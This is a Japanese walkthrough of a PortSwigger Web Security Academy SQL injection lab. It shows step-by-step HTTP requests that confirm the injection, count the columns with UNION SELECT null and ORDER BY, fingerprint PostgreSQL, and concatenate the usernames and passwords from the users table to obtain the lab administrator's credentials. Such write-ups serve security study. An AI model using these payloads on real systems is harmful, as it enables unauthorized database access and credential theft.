UNION attack: 単一カラムから複数値を取得
前提:「カテゴリー」パラメータにSQLインジェクションが存在する。
データベースには users という別のテーブルが存在し、username と password という列が含まれている。
ゴール:全ユーザー名とパスワードを取得後、管理者ユーザとしてログインする。
1.「Accessories」カテゴリーを選択した際の、デフォルトリクエスト・レスポンス
GET /filter?category=Accessories HTTP/2 Host: 0a3b008904c2a1458012c12c00fa006c.web-security-academy.net Cookie: session=I2VjqBl4fx1HPfeyICzpTOAKOUbYO2fO ~省略~ HTTP/2 200 OK ~省略~ <tr><th>ZZZZZZ Bed - Your New Home Office</th><td><a class="button is-small" href="/product?productId=5">View details</a></td></tr> ~省略~
4行2列である。

2. SQLインジェクションの存在確認。' = %27 の入力
GET /filter?category=Accessories%27 HTTP/2 ~省略~ HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27%27 HTTP/2 ~省略~ HTTP/2 200 OK
GET /filter?category=Accessories%27%27%27 HTTP/2 ~省略~ HTTP/2 500 Internal Server Error
レスポンスに差異が出ることから、' = %27 がSQL文として解釈されており SQLインジェクションがあると判定。
3. UNION と null での列数推定
GET /filter?category=Accessories%27union+select+null-- HTTP/2 HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27union+select+null,null-- HTTP/2 HTTP/2 200 OK
GET /filter?category=Accessories%27union+select+null,null,null-- HTTP/2 HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27order+by+1-- HTTP/2 HTTP/2 200 OK
GET /filter?category=Accessories%27order+by+2-- HTTP/2 HTTP/2 200 OK
GET /filter?category=Accessories%27order+by+3-- HTTP/2 HTTP/2 500 Internal Server Error
よって、DB上も2列。しかしながら、文字列型を出力できるのは2列目のみである。
GET /filter?category=Accessories%27union+select+'a',null-- HTTP/2 HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27union+select+'a','a'-- HTTP/2 HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27union+select+null,'a'-- HTTP/2 HTTP/2 200 OK
4. DB情報の出力
GET /filter?category=Accessories%27union+select+null,@@version-- HTTP/2 ~省略~ HTTP/2 500 Internal Server Error ~省略~
よって、MySQLやMicrosoft SQL ではない。
GET /filter?category=Accessories%27union+select+null,version()-- HTTP/2 ~省略~ HTTP/2 200 OK <tr><th>PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit</th></tr> ~省略~
よって、PostgreSQLである。
ちなみに、Oracleでもない。
GET /filter?category=Accessories%27union+select+null,version+from+v$instance-- HTTP/2 ~省略~ HTTP/2 500 Internal Server Error ~省略~
GET /filter?category=Accessories%27union+select+banner,null+from+v$version-- HTTP/2 ~省略~ HTTP/2 500 Internal Server Error ~省略~
5. ユーザ名とパスワードの出力
前提として、DB内に usersテーブル及び username password カラムが存在すると分かっている。
この2列分を出力する必要があるが合体前の表で利用できるのは2列目だけであるため、元の2列を連結演算子 || で1列にする。区切り文字は : とした。

GET /filter?category=%27union+select+null,username||%27:%27||password+from+users-- HTTP/2 ~省略~ HTTP/2 200 OK ~省略~ <tr><th>wiener:gi8yg9w7p4netrkyno0q</th></tr> <tr><th>administrator:780vkuekqztxt2p7xw26</th></tr> <tr><th>carlos:7ma74ggjfbw4dh85mtgr</th></tr> ~省略~
失敗例も確認。2列のままで合体させようとするとエラーとなる。
GET /filter?category=%27union+select+username,password+from+users-- HTTP/2 ~省略~ HTTP/2 500 Internal Server Error ~省略~
管理者ユーザのIDとパスワードも分かるため、ログイン画面からログインすれば完了。
